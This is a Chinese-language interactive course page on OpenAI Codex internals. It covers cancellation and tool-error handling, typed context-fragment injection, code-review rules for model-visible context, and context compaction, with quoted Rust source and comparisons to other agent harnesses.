答案上屏之后,这封子邮件什么时候被看见

最终答案落地之后,先入队一封 trigger_turn: false 的子邮件,再喂一条 FunctionCall。先在纸上推演 get_pending_input 该返回什么。

对照路径:正文落盘时相位切到 NextTurn,这封信看不见;工具项到达后相位重开,下一圈才能把它掏出来,并进同轮的下一次模型请求。

Takeaway:提交立刻回判定,回的是收下还是拒绝,采样还没开始。只有 Regular 收插话,审查和压缩当场拒。答案上屏后默认不续写,用户再插或工具再调,才把门打开。
OpenAI Codex · 取消与错误

按下取消之后,各层怎么收手

工具失败回给模型,用户按 Esc 才停 turn。取消令牌从任务传到采样再传到工具。已完成的结果留在历史里,100 毫秒之后的硬拆不可逆。

课程目标读完能说清三件事。工具失败为什么继续对话。用户按 Esc 之后,任务、采样、工具按什么顺序收手。哪一层的收手一旦落下就回不去。
先玩一遍 · 按下 Esc,看谁先停
同一轮对话,用户中途按 Esc
按 Esc 时
拨到另一档,看历史里成功回执会不会被覆盖,以及哪一步标了不可逆。
收手顺序等待开始
1
协议入口Op::Interrupt 到达
2
任务令牌cancellation_token.cancel
3
采样收手or_cancel 变成 TurnAborted
4
工具收手子令牌取消,看 handler 走没走完
5
硬拆100 毫秒后 task.handle.abort不可逆
6
落盘与事件先写片段,再发 TurnAborted
历史与副作用0 条
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 协议入口是 Interrupt,不杀后台 terminalprotocol.rs L546
  2. 任务令牌先 cancel,这是信号还不是硬拆tasks/mod.rs L887
  3. 采样用子令牌盯着流,or_cancel 变成 TurnAbortedturn.rs L2273
  4. 工具派发再 child 一次,父令牌取消则一起取消stream_events_utils.rs L319
  5. handler 已走完就保留真实结果,没走完才 abortparallel.rs L182
  6. 等 100 毫秒,没收完就 task.handle.aborttasks/mod.rs L913
  7. 追加 turn_aborted 片段,立刻 flush_rollouttasks/mod.rs L927
  8. 最后才发 EventMsg::TurnAbortedtasks/mod.rs L955
点播放,看 Esc 之后各层按什么顺序收手,哪一层不可逆。
收手顺序令牌先发信号,采样和工具各自收尾,最后才硬拆、写片段、发事件。界面上的中止,是这条链走完之后才出现的。
不可逆的那一层100 毫秒之后的 task.handle.abort 没有回切。已经完成的工具回执也不会被改写成 aborted。后台 terminal 继续跑,要杀它走另一条操作。
拨到另一档工具已经跑完时,历史里留下成功回执加中止标记。工具还在跑时,留下 aborted by user 加中止标记。两种都是追加,都不是回滚。
教学示意:步骤时序按源码调用链编排,耗时被拉成可点的单步。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 工具失败回给模型,引擎失败才停 turn
它解决什么问题

你让 Codex 改一个测试文件。模型先跑 cargo test,编译器吐了两屏 rustc 报错,退出码是 1。下一秒对话停了,界面弹出 turn aborted。很多人第一次写 agent 会这么干:工具返回 Err,整轮跟着死。模型还没看见 stderr,会话已经结束。

思路是什么

分诊发生在工具回到对话的那道门上,一共三层门槛。

最浅一层:进程已经跑过。退出码非零、命令超时、沙箱拒绝,都收成工具回执。success 写成 true,意思是 handler 跑完了,回执可以喂给模型。命令成不成功写在正文里。

出处:codex-rs/core/src/tools/context.rs 第 344 至 353 行

中间一层:调用没做成。参数坏了、进程没拉起来、apply_patch 上下文对不上,走 RespondToModel。回执 success 才是 false。模型读到文案,自己改再试。

最深一层:payload 对不上、任务 join 失败,才写 Fatal,升成 CodexErr,停 turn。

工具层自己的枚举只有两档。RespondToModel 把字符串喂回模型。Fatal 才升成引擎错误。默认把非 Fatal 折成 Ok。想停对话,得写出 FatalCodexErr

codex-rs/tools/src/function_call_error.rs第 1 至 10 行
use thiserror::Error;

/// Error returned while executing a model-visible tool invocation.
#[derive(Debug, Error, PartialEq)]
pub enum FunctionCallError {
    #[error("{0}")]
    RespondToModel(String),
    #[error("Fatal error: {0}")]
    Fatal(String),
}
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/tools/src/function_call_error.rs,commit 4f39251a01,核对日期 2026-08-22。这段枚举本身就是分诊合同:两档,没有第三档警告或重试。

cargo test 退出码 1 停在最浅一层,连错误枚举的门槛都没迈过。沙箱拒绝同样走 Ok。代理拦请求时给命令进程回 HTTP 403,也停在最浅一层。模型 API 的 403 才是引擎错误。两处 403 不要并成一档。

出处:codex-rs/core/src/tools/handlers/unified_exec/exec_command.rs 第 384 至 411 行;codex-rs/network-proxy/src/responses.rs 第 76 至 83 行

最浅 · 进程已经跑过 cargo test 退出码 1 工具回执 success true 命令成败写在正文里 对话继续 中间 · 调用没做成 patch 上下文对不上 RespondToModel 回执 success false 对话继续 最深 · 引擎事故 payload 对不上 / Esc Fatal 或 TurnAborted 升成 CodexErr 停 turn
教学化结构图:失败从工具回到对话,先过三道门。默认停在最浅一层。
为什么长期成立

handler 里一个 IO 错误如果直接冒到 turn 循环,整轮对话跟着死。默认回灌,想停必须显式写出。这条线换语言重写也用得上。自己做内部 agent,先抄这一档:工具失败回灌,引擎失败停循环。

思路二 · 取消做成一棵令牌树
它解决什么问题

用户按 Esc,要停的不只是当前那次采样。采样可能还在读流,工具可能正在写文件,后台 terminal 可能已经拉起来了。只杀采样,工具会继续改磁盘。一刀切杀掉所有进程,unified exec 的后台任务也会被误杀。

思路是什么

任务启动时现造一张取消令牌。采样请求用 child_token(),工具派发再 child 一次。父令牌一取消,子令牌一起取消。子令牌自己取消,不影响父令牌。这就是取消树。

出处:codex-rs/core/src/session/turn.rs 第 1399 行;codex-rs/core/src/stream_events_utils.rs 第 319 至 324 行

or_cancel 把谁先到写成固定形状。任意 future 配一张令牌。取消先到,返回 CancelErr,一律变成 TurnAborted

出处:codex-rs/async-utils/src/lib.rs 第 4 至 31 行;codex-rs/protocol/src/error.rs 第 269 至 273 行

用户按 Esc,协议入口是 Op::Interrupt。合同写死:中止当前任务,不杀后台 terminal。handle_task_abortcancel(),再等 100 毫秒。超时就 task.handle.abort()。令牌先发信号,任务有机会自己收尾。收不完,再硬拆。硬拆这一步不可逆。

出处:codex-rs/protocol/src/protocol.rs 第 546 至 548 行;codex-rs/core/src/tasks/mod.rs 第 66 行、第 880 至 913 行

用户 Esc Op::Interrupt 任务令牌 cancel 信号,还可收尾 采样 or_cancel child token 工具子令牌 再 child 一次 handle.abort 100ms 后,不可逆 turn_aborted 先落盘再发事件 事件 后台 terminal 不在这棵树上。Interrupt 的合同就是不杀它。
教学化结构图:一份用户意图往下传,硬拆是最后一刀,也是不可逆的那一刀。
令牌先发信号,硬拆才不可逆。
为什么长期成立

一份用户意图,多层各自收尾。合作式取消加硬期限,是并发系统的通用形状。Python 里用 asyncio.Event 就能做最小版。不必抄 37 个变体的 CodexErr

思路三 · 中止只追加,不回滚
它解决什么问题

取消发生在工具已经改了文件之后,历史里怎么记。如果把已经完成的输出改写成 aborted by user,模型下一轮会以为写入没做成,可能再打一遍补丁。

思路是什么

工具 future 同时等派发结果和令牌。令牌先到,还要看 handler 是否已经走到终态。已经走完,就保留真实结果。没走完,才 abort,再造一条 AbortedToolOutput,正文是 aborted by user after Xs

出处:codex-rs/core/src/tools/parallel.rs 第 177 至 206 行、第 243 至 260 行

然后追加一段模型可见标记,包在 <turn_aborted> 里。文案承认两件事:unified exec 可能还在后台跑,被中止的工具可能已经执行了一部分。标记写进历史之后立刻 flush_rollout()。有的客户端收到 TurnAborted 会同步重读 rollout,标记必须先落盘。

出处:codex-rs/core/src/context/turn_aborted.rs 第 1 至 35 行;codex-rs/core/src/tasks/mod.rs 第 920 至 962 行

为什么长期成立

历史只追加、不改写。中止只往后面加片段,已落盘的工具输出不动。下一轮模型能同时看见完成的输出、被中止工具的回执、以及中止标记。上下文治理的第一条就是这个形状。

出处:AGENTS.md 第 91 至 100 行

横向对比 · 同一道题的另一种答法

DSH:throw 折成 isError,循环 throw 才停 turn

DSH 每轮新建一个 AbortController。工具 body 的 throw 不会穿过循环。执行器把它收成 isError: true 回执,轮次继续。bash 的注释写成产品合同:Non-zero exits are reported, not errored。循环自己的失败才停 turn。用户取消写成 turn/end aborted

DSH 省掉两档枚举,因为执行器 catch 已经分了模型能看见和引擎必须终止。代价是约定:漏过 dispatchToolBody 的 throw 仍会变成 turn/end error。Codex 用类型把这条路收窄。

两侧均已核对源码 · 2026-08-22 · DSH agent.ts / tools/index.ts / tool-bash/render.ts

Grok:整份 ToolError 回模型,引擎停靠 SamplingError

Grok 的 ToolError 模块头把 detail 写成必须回给模型的说明。CancelledTimeoutExecution 都是同一种回灌。工具层没有 Fatal 档。会话层把执行失败收成 tool_result,turn 继续。

引擎停靠另一套类型。SamplingError 不可重试才停采样。Actor 上的 CancellationToken 触发是关机,单次工具取消走 CancelRegistry。令牌不承担 Codex 那种工具分诊。

两侧均已核对源码 · 2026-08-22 · xai-tool-runtime / xai-grok-sampling-types / xai-grok-shell
课堂练习
01

Esc 落在两种时刻,历史里各留下什么

apply_patch 已经写入文件,成功回执还在飞。这时用户按 Esc。下一轮模型会在历史里看见什么:成功回执、aborted by user<turn_aborted> 片段,这三样各会不会出现?后台 terminal 还在不在?

再把时刻改成 handler 还在跑,重答一遍。哪一步是不可逆的,为什么已经落盘的文件不会跟着中止事件一起消失。

Takeaway:工具失败回给模型,默认停在最浅一层。用户按 Esc,令牌从上往下传,已完成的结果留下,100 毫秒之后硬拆不可逆。中止只追加片段,不回滚历史。
OpenAI Codex · 代码模式

往模型上下文里塞东西,先给它造一个类型

批准前缀、工作区、AGENTS.md、被中断的 turn,全是告诉模型一件它自己看不到的事实。Codex 先给每一种注入造一个类型,类型自己知道 role、marker 和 body。

课程目标读完能说清三件事。第一,往模型上下文里塞的每一段文字,为什么要先收成一个类型。第二,有标和无标差在哪,压缩和恢复靠什么认回。第三,一条发给模型的消息按什么字段分拣,顺序从哪来。
先玩一遍 · 开哪些开关,信封里就有哪些块
同一轮输入:五个 fragment 开关,看消息怎么被拼出来
打开
开关一变,左边信封立刻重排。点播放,看每一块怎么被问 role、问 marker、再分进三条消息。
发给模型的信封0 条消息 · 0
产地标签先问类型
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 取 role,决定进 user 还是 developerfragment.rs L15
  2. 问要不要单独成条fragment.rs L18
  3. 实例要 marker,拿去 renderfragment.rs L22
  4. 空 marker 只输出 body,且永不匹配fragment.rs L41
  5. 窗口身份在循环前推进单独组session/mod.rs L3661
  6. 其余 fragment 按 role 和 marker 分拣session/mod.rs L3677
  7. user 侧按注册表 .any() 认回contextual_user_message.rs L18
  8. developer 侧按前缀表认回event_mapping.rs L40
打开或关掉开关,看最终注入模型的内容由哪几块构成。点播放,看它们怎么被分拣。
构成从哪来可合并的 developer 段先收成一条消息,必须单独成条的各成一条,user 段再收成一条。顺序写在类型字段上,字符串里有没有某个词帮不上忙。
事后能不能认有标的靠首尾 marker 认回。无标的默认认不回,developer 侧用前缀表补了一部分。
为什么要先有类型组装入口收的是已实现 trait 的 fragment。随手 format 出来的标签进不去,matcher 列表也认不出没登记的标签。
教学示意:开关组合与正文措辞为课程化设定,分拣顺序对齐 build_initial_context_with_world_state。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 注入先变成类型
它解决什么问题

你给 agent 加过这类功能:用户刚批准了 npm *,下一轮模型还在问要不要跑 npm test。或者压缩刚结束,模型突然忘了工作区在哪、沙箱是只读还是可写。再或者 fork 一条会话,旧的 AGENTS.md 还在,新的目录提示叠上去,模型同时看见两套互相打架的规则。

这三件事的共同来源是同一类操作:运行时往模型上下文里塞了一段文字。批准前缀、工作区、权限档案、被中断的 turn、当前 UTC 时间,全是告诉模型一件它自己看不到的事实。一段 format! 就能写出来。

问题出在事后。这段文字进了历史之后,压缩要不要留它、会话恢复要不要认它、UI 要不要把它藏起来、world state 要不要拿它当模型已经知道了的证据,全都依赖一件事:你还能从纯文本里把它认回来。各处再写一遍 startsWith,过几周四处会漂。未知标签还会漏进用户消息解析。

思路是什么

Codex 把每一种注入收成一个实现 ContextualUserFragment 的类型。trait 不在 codex-core 里,而在独立 crate codex-context-fragments。每个实现必须同时回答:这段以 user 还是 developer 进 Responses API,头尾 marker 是什么,中间 body 怎么写,要不要单独成一条消息。

render() 把头尾 marker 和 body 直接首尾相接,中间不加分隔符。空白和换行算 body 的。空 marker 只输出 body。into() 把渲染结果收成一条 ResponseItem::Message,content 只有一个 InputText。注入的终点是协议对象。

codex-rs/context-fragments/src/fragment.rs第 38 至 46 行
    fn render(&self) -> String {
        let (start_marker, end_marker) = self.markers();
        let body = self.body();
        if start_marker.is_empty() && end_marker.is_empty() {
            return body;
        }

        format!("{start_marker}{body}{end_marker}")
    }
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/context-fragments/src/fragment.rs,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文,这段就是类型把自己收成一段可注入文本的全部规则。

markers()self,渲染走实例。type_markers() 不带 self,识别走类型。手里只有历史文本、没有原对象时,仍然能问这段像不像某某 fragment。dyn ContextualUserFragment 调不了 matches_text,反向识别必须点到具体类型。

加一种注入要新建文件、实现 trait、挂进 core/src/context/mod.rs。目录里 39 个模块。这个摩擦力本身就是治理:临时 format! 走不通,因为组装函数收的是 Box<dyn ContextualUserFragment>出处:codex-rs/core/src/context/mod.rs 第 3 至 41 行;codex-rs/core/src/session/mod.rs 第 3677 至 3707 行

运行时事实 工作区、指令、中断 fragment 类型 role · markers · body render 首尾相接 Message 事后只剩一段 InputText 用 type_markers 问具体类型,matches_text 看首尾,没有实例也能认回
教学化结构图:渲染走实例,识别走类型,两套调用读同一对 marker。
为什么长期成立

渲染和识别共用一份定义。换个语言重写,最小形态仍是一份接口、一份注册表、同一对 marker。组装函数的参数写成 fragment 类型,业务侧就失去了随手拼 XML 的调用点。识别函数只从注册表做匹配,不许再写一套 text.startsWith

思路二 · 有标和无标要写清楚
它解决什么问题

所有注入都带标,一次性通知也会在压缩后被重认、再喂一遍。所有注入都不带标,压缩后的历史里分不清用户原话和运行时塞进去的说明。fork 会把过期的 <environment_context> 当成用户输入重新提交。

思路是什么

窗口身份、环境、中断、图片缩放、管理侧开发者指令,事后要认、要 diff、要在压缩后决定是否重注,所以带 begin 和 end。一次性通知,比如批准前缀、网络规则入册、剩余 token 一句提醒,type_markers() 返回两个空串。默认 matches_text 恒为 false。

匹配规则只看整段文本的首尾。先 trim 开头比前缀,再 trim 结尾比后缀,ASCII 大小写不敏感,两个都中才算命中。中间夹什么不管。无标 fragment 主动放弃可逆性。出处:codex-rs/context-fragments/src/fragment.rs 第 89 至 103 行

developer 侧另有一张前缀表,在 event_mapping.rs,用来补一部分无标识别。覆盖面比 user 侧 matcher 列表窄。前缀表里至今留着 <token_budget> 旧标签,注释写明是为了认旧版本持久化下来的包装。marker 一旦写进 rollout,就变成恢复合同的一部分。改标签等于改协议。

UserInstructions 有一处容易看走眼。它的 begin marker 是 Markdown 标题 # AGENTS.md instructions,end marker 是 </INSTRUCTIONS>。协议里另有 <user_instructions> 那对标签,这个 struct 没用。按协议常量去写 matches_text,会认漏仓库里真实渲染出来的文本。出处:codex-rs/core/src/context/user_instructions.rs 第 18 至 19 行;codex-rs/protocol/src/protocol.rs 第 112 至 113 行

有标 · 事后要认 环境 / 窗口 / 中断 begin + body + end matches_text 能认回 无标 · 只当时说一声 批准前缀 / 网络规则 只输出 body 默认识别放弃 developer 靠前缀表补
教学化对照:需要压缩后重认的做成协议,一次性通知主动放弃可逆。
为什么长期成立

需要事后认的做成协议,一次性的主动放弃,并且在类型上写清楚。压缩后要重认的强制 begin 和 end,一次性通知可以无标,但要在注释里写放弃可逆。

思路三 · 组装按类型字段分拣
它解决什么问题

各处随手 push 字符串,顺序靠约定,单独成条靠注释。TokenBudgetContext 会和权限说明挤在同一条 developer 消息里。压缩滤网没法按条处理。混装之后回滚也拆不开。event_mapping.rs 的注释承认:build_initial_context 可能把 contextual fragment 和持久 developer 文本捆在一起。出处:codex-rs/core/src/event_mapping.rs 第 69 至 71 行

思路是什么

第一次组装发生在 Session::build_initial_context_with_world_state。它把 fragment 按 role()markers() 的开头、requires_separate_message() 分进几组:可合并的 developer 段、必须单独成条的 developer 段、user 段,以及要置顶或置底的特殊段。

窗口身份这一条有点特别。Feature::TokenBudget 打开且模型有 context window 时,它在 world_state 循环之前就被推进单独组。输出顺序是:先一条合并好的 developer 消息,再一条条单独的 developer 消息,再一条 contextual user 消息。分拣依据是类型字段。出处:codex-rs/core/src/session/mod.rs 第 3630 至 3728 行

requires_separate_message() 把能不能和别人挤在同一条 developer 消息里也收进类型。TokenBudgetContextImageResizeNoticeManagedDeveloperInstructions 选择单独成条。单独成条的代价是多占一条消息、多一次 role 切换。好处是压缩滤网可以按条处理。

已打开的类型 批准前缀 窗口身份 环境信息 AGENTS.md 中断通知 分拣 role() markers().0 requires_separate 看字段,不扫正文 developer · 可合并成一条 developer · 各成一条 user · 收成一条 contextual
教学化分拣图:输出顺序是合并 developer、单独 developer、contextual user。
点进模型输入的任意一段,都能回到某个 fragment 类型。
为什么长期成立

组装入口只收已登记类型。这是把没登记的注入挡在门外的通用形状。类型挡得住没登记,挡不住登记了但每轮塞 40KB。那一层是评审规则,下一章展开。

横向对比 · 同一道题的另一种答法

闸开在哪:DeepSeek Harness 选择发请求时对账

DSH 写在仓库根 AGENTS.md 第 107 行,中文原则收成「模型可见即已记录」。抵达模型请求的一切都必须能从会话日志重建,新增一项模型可见输入就需要新增一个会话事件。

执行面是 invariant.ts。它在 llm/stream 上挂监听,从 session 日志 deriveMessages() 得到期望值,再和即将发出的 options.messagesJSON.stringify 比较,对不上就 fail。闸开在崩溃点,能抓住组装之后又改了 messages 这类只有运行时才出现的漂移。关掉 invariants 服务,这道闸就没了。

两侧均已核对源码 · 2026-08-22 · DSH · Model-visible ⟺ logged

真源不同:事件日志,还是封闭的类型集合

DSH 可以没有 fragment trait,因为它的真源是事件日志,messages 是投影。Codex 把能出现在上下文里的东西先收成封闭的类型集合,再用 marker 做事后识别。

代价也不同。Codex 的类型挡得住没实现 trait 就塞进 render_full,挡不住 impl 里面 format! 出来的动态字符串。matches_text 认的是文本形状。两边都为可追溯付钱,一个付在每次请求的断言,一个付在每次加注入的类型摩擦。

两侧均已核对源码 · 2026-08-22
课堂练习
01

认漏的会是哪一段

UserInstructions 的 begin marker 是 # AGENTS.md instructions,协议常量却是 <user_instructions>。如果有人按协议常量去写 matches_text,会认漏现在仓库里真实渲染出来的哪一种文本?

再推一步:把上面演示里的批准前缀打开,压缩之后默认 matches_text 还能不能把它认回来。developer 侧要靠哪张表补这一刀,改错常量时编译器会不会响。

Takeaway:往模型上下文里塞的每一段,先收成一个类型,类型自己知道 role、marker 和 body。需要事后认的带 begin 和 end,一次性通知主动放弃可逆。组装按类型字段分拣,没登记的字符串进不了信封。
OpenAI Codex · 代码模式

把上下文治理写进 code review

上一章把往上下文里塞东西收成类型。类型过了,这段文字仍然可以合法地又长、又勤、又无界。挡这些后果的,是仓库根十行禁令,外加一份会把同一节再读一遍的评审 skill。

课程目标读完能说清两件事:为什么实现了 ContextualUserFragment 的改动,编译器仍会放行一份会打掉 cache、撑满窗口或让旧会话恢复失败的 PR;以及六条禁令里,哪几条落在代码里,哪几条只能靠人和 skill 守。
先玩一遍 · 一次改动送进六条禁令
四份看起来很负责的 PR,逐条过评审
改动
左边是四份具体改动。下面可以换成增量加硬 cap,看哪几盏灯会灭。
写法
加字段和超长模块改完可能放行。加一句、改旧行,换写法也过不了各自那条。
这份 PR待审
给 environment 加一个 git_status 字段
每轮写入完整 git status,模型就不会猜工作区脏不脏。
类型系统还没开口。
若放行,模型会看到未展开
6必须走登记过的类型
3每条注入要有硬上限
4单条不得超过 10K
5可能过 1K 标 P0
2不要每轮改前缀
1只追加,不改旧行
等待开始。选一份改动,看哪条禁令拦住它。
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 注入有没有登记成 ContextualUserFragmentAGENTS.md L100
  2. 这一条有没有硬上限AGENTS.md L97 · protocol.rs L3112
  3. 单条是否可能超过 10K tokenAGENTS.md L98 · model_info.rs L167
  4. 新种类若可能过 1K,标 P0 另审AGENTS.md L99 · additional_context.rs L5
  5. 会不会每轮改已经发出去的前缀AGENTS.md L96 · client.rs L272
  6. 是追加新行,还是改历史里的旧行AGENTS.md L95 · session/mod.rs L3383
  7. 改旧行会不会让已有 rollout 恢复失败AGENTS.md L110
点播放,看一份改动过类型之后,还会撞上哪条禁令。
类型放过的东西四份 PR 都能编过。编译器只看有没有 struct、有没有 marker,不看这条文字每轮变不变、有多长、会不会改旧会话。
禁令拦住的东西加字段撞第 2 条,加一句撞第 6 条,超长模块撞第 3、4 条,改旧行撞第 1 条和 breaking change 第五项。
换写法之后加字段和超长模块改成增量加硬 cap,红灯会灭,可能过 1K 的仍标 P0。加一句没走类型,改旧行仍是 patch 旧消息,换写法过不了。
教学示意:四份 PR 与写法切换为课程化设定,用来展示六条禁令各自盯的那一类成本。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 类型是入口,评审是门禁
它解决什么问题

想象四份看起来很负责的 PR。甲给 environment 上下文加一个 git_status 字段,每轮写入完整工作区状态。乙在 turn.rs 里 format 一句 hint,提醒模型跑测试。丙新建一个 fragment,把整个源文件塞进模型可见文本,不写截断。丁在 AGENTS.md 一改时,就地改写历史里那一条说明。

四份都能写出干净的 struct、干净的测试。类型系统会放行。下一轮推理的 cache 前缀会被打掉,token 账单会按轮翻倍,从旧 rollout 恢复时会读到被改过的历史。

思路是什么

ContextualUserFragment 是往模型上下文里塞一段带标记文字的登记口。上一章用它把注入收成类型。编译器从此只接受实现了这个 trait 的 struct。形状对了,成本还可以不合法:又长、又勤、又无界。

Codex 把成本写成六条禁令,放在仓库根 AGENTS.md,标题就叫 Model visible context。同一段原文被抄进 .codex/skills/code-review-context/SKILL.md。评审机器人读到的就是这六条,没有第二套解释。

AGENTS.md第 91 至 100 行
### Model visible context

Codex maintains a context (history of messages) that is sent to the model in inference requests.

1. No history rewrite - the context must be built up incrementally.
2. Avoid frequent changes to context that cause cache misses.
3. No unbounded items - everything injected in the model context must have a bounded size and a hard cap.
4. No items larger than 10K tokens.
5. Highlight new individual items that can cross >1k tokens as P0. These need an additional manual review.
6. All injected fragments must be defined as structs in `core/context` and implement ContextualUserFragment trait
源码快照说明:依据本地仓库 openai/codex,核对文件 AGENTS.md,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文。同一段六条还出现在 .codex/skills/code-review-context/SKILL.md 第 7 到 13 行。

第 6 条和第 3、4 条先问入口和上界。没走 trait,handler 里直接 format! 一段 Message,编译能过,评审打回。走了 trait 但没写硬 cap,同样打回。工具输出侧默认按字节 10_000 截断,超了从中间砍,前面加一行警告,告诉模型原 token 数和总行数。出处:codex-rs/protocol/src/protocol.rs 第 3112 行;codex-rs/models-manager/src/model_info.rs 第 167 行;codex-rs/utils/output-truncation/src/lib.rs 第 12 至 24 行

通用附加上下文另卡在 1_000 token。1K 正好是第 5 条的门槛:已有种类被代码截到 1K,新的可能超过 1K 的种类才需要人看。源码里没有 P0 枚举,也没有 lint 去估一个新 struct 的 body() 会不会超过 1K。出处:codex-rs/context-fragments/src/additional_context.rs 第 5 行

第 2 条盯的是时机。能追加就追加。每轮重写环境 XML、每轮换工具清单,前缀对不上,cache 从第一层作废。会话级客户端把跨 turn 稳定和 turn 内粘滞拆开,sticky token 不准跨 turn 重放。Guardian 审查会话故意复用同一条 trunk,好保住 prompt_cache_key。集成测试 prompt_caching.rs 盯的就是连续两轮 instructions 和 tools 必须一致。出处:codex-rs/core/src/client.rs 第 262 至 274 行;codex-rs/core/src/guardian/review.rs 第 932 至 934 行

拟议注入 一份 PR 类型入口 有 struct 才编得过 六条评审禁令 6 必须走 trait 3 / 4 硬 cap 与 10K 5 过 1K 标 P0 2 不要每轮改前缀 1 只追加,不改旧行 人审盯时机和最坏长度 可以合并 形状对,成本也可接受
教学化结构图:类型是入口。过了入口,还要过六条禁令,才谈得上合并。
为什么长期成立

类型系统证明的是形状。它证明不了这条文字会不会每轮变、有没有上界、会不会改已经发出去的前缀。这些是过程属性,换语言重写也得另开一扇门。

日常命令也补不上这扇门。just fmtjust test 挡住格式、锁文件漂移和一部分 API 破坏。它们读不懂你是不是每轮注入了 git status。六条里零条有专用 lint。第 1、2 条有集成测试影子,第 3、4 条靠局部 cap,第 5 条纯靠人。第 6 条拦得住没实现 trait 就走 render_full 的路,拦不住在 handler 里直接拼一段 Message。skill 存在,说明执行主体是评审。

思路二 · 压缩换窗口,留下记录
它解决什么问题

AGENTS.md 改了,最省事的做法是找到历史里那一条 UserInstructions,把正文换掉。当前轮少占一条消息,token 看起来还降了。从旧 rollout 恢复时,读到的是被改过的文本,会话对不上。

压缩看起来也像在改历史:旧窗口从 live history 里消失。若有人把压缩做成打开历史文件改一行,第 1 条和 breaking changes 第五项会一起被踩中。第五项点名的就是从已有 rollout 恢复会话。

思路是什么

replace_compacted_history 把新表整表装进 live history,旧内容以带 replacement_historyCompactedItem 追加到 rollout,不回改旧行。注释写明 「Compaction starts a new history window」。第 1 条和压缩能共存,因为压缩被定义成开新窗口。生产路径里那条就地换表的函数叫 replace_history,上面标了 #[cfg(test)]出处:codex-rs/core/src/session/mod.rs 第 3373 至 3418 行;AGENTS.md 第 95 行、第 110 行

远端压缩还有一层滤网。服务端送回来的 transcript 不可信,developer 消息直接丢掉,再由本地按当前 world state 把带 marker 的 fragment 重新渲染进去。历史继续增量构建,压缩继续换窗口。出处:codex-rs/core/src/compact_remote.rs 第 354 至 372 行

就地改旧行 live 第 3 条 同一 id,正文被换掉 旧 rollout 对不上,恢复失败 压缩换窗口 新窗口装进 live 旧行从当前视图消失 rollout 追加 CompactedItem 带着 replacement_history 下一轮只追加差值 恢复时回到同一扇窗口
教学化对照:上面改的是旧行本身,下面留下一条可回放的换窗记录。
类型管形状,评审管成本。压缩换窗口,留下记录。
为什么长期成立

追加写、用快照换窗口,是日志系统的通用形状。事件溯源换的是投影,LSM 树换的是 SSTable,都不回改已经写下的旧行。禁止就地更新,恢复才有得对。

总量谁来管,六条没写数字。代码用两层补上:模型窗口的 full_context_window_limit 是硬顶,会话树的 RolloutBudget 按加权 token 记账,用尽对整棵 thread 停写。40 条都合法且每条 9K,总量仍会被满窗或会话预算拦住。出处:codex-rs/core/src/session/context_window.rs 第 53 至 54 行、第 74 至 79 行;codex-rs/core/src/rollout_budget.rs 第 45 至 65 行

横向对比 · 同一道题的另一种答法

DeepSeek Harness:原则加笔记,少写禁令

DSH 仓库根 AGENTS.md 第 107 行写的是 「Model-visible ⟺ logged」:送到模型请求里的东西,必须能从会话日志重建;新的模型可见输入,必须对应一条 session 事件。它管的是可见与落盘对齐,不管这一条是不是无界、是不是每轮改、单条是不是超过 10K。

否决过的路会立档。一篇讨论要不要把 compaction 的定义包和唯一实现折在一起的笔记,Status 写明 rejected,还单独留下 Alternatives considered:将来可能有远端或 recall 后端,不够成为现在就拆包的理由。Codex 这一侧没有 rejected/ 目录告诉后来者,某次每轮注入 git status 为何撤回。后来者只能从 prompt_caching.rs 和 Guardian 注释反推。

两侧均已核对源码 · 2026-08-22 · DSH · Agent Notes 与 AGENTS.md

Claude Code:产品审查和运行时红线不是一回事

用 Model visible context、ContextualUserFragment、unbounded context 检索还原源码,找不到公开的上下文注入评审规范。REVIEW.md 是给审查模型看的产品化 PR 规则,用来标记该不该在审查里指出某类问题,和运行时往模型上下文塞东西的工程红线不是同一层。

这一格空着。后续如果有新的还原源码,可以按这几个词复查。

已检索 · 未找到对应规范 · 2026-08-22
课堂练习
01

这句 format 能留吗

有人要在 session/turn.rs 里 format 一段 <workspace_map>,把当前目录树塞进去,声称只有调试时才开。按六条逐条过:哪几条亮红,改成什么样才能留。

进阶一问:若目录树最坏超过 1K token,PR 标题要不要标 P0,源码里有没有对应的属性宏替你标。

Takeaway:类型管形状,评审管成本。注入必须登记为类型,必须有硬 cap,只追加不改旧行。压缩换窗口并留下 CompactedItem。just 查不到的那几条,靠人和会把同一节原文再读一遍的 skill。
OpenAI Codex · 上下文

满窗之后,砍哪一段留哪一段

三个时机共用一个分发器,三种实现由开关选中。同一份摘要在中途必须停在历史最后一项。

课程目标读完能说清三件事。第一,上下文满了,Codex 先问时机再问实现,九种组合共用两套入口。第二,服务端回来的 transcript 默认不可信,进门先丢掉指令包装和工具回放。第三,同一份摘要在采样前和中途要摆到不同位置,空窗开关打开则回忆不带走。
先玩一遍 · 同一段历史,三条管道各砍各的
窗口到顶:切换时机和实现,看各自砍掉哪一段、保住哪一段
时机
采样前和手动压完,下一轮才整包重注。中途压完还要继续采样,摘要必须停在队尾。
实现
默认 OpenAI 会话走远端。提供方不支持就走本地再采样。空窗跳过摘要,回忆不带走。
中途 × 远端 0砍掉 0保住 3版本
保住 砍掉 新注入的环境
滤网 摘要在最后 下一轮重注 空窗
等待开始。点播放,或先换一格再走一遍。
九宫格 · 点任一格,看这一格独有的砍法
采样前 中途 手动 远端 本地 空窗
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 看 token_limit_reached,或用户提交 Compactcontext_window.rs L77
  2. 采样前走 run_pre_sampling_compactturn.rs L1012
  3. 中途走 should_roll_over,还要有 follow-upturn.rs L458
  4. 手动拉起 CompactTask,打断当前 turntasks/compact.rs L19
  5. TokenBudget 开则换空窗,远端和本地都被跳过turn.rs L1189
  6. 否则按远端 v2 或本地分发turn.rs L1201
  7. 远端结果过 should_keep 滤网compact_remote.rs L370
  8. 按 InitialContextInjection 决定插不插compact.rs L68
  9. replace_annotated 才把 history_version 加一history.rs L298
点播放,看同一段混杂历史在当前这一格里怎么被重排。
远端服务端回来的包装不可信。developer、工具回放先丢掉,再按时机决定环境插不插。中途必须把摘要留在最后。
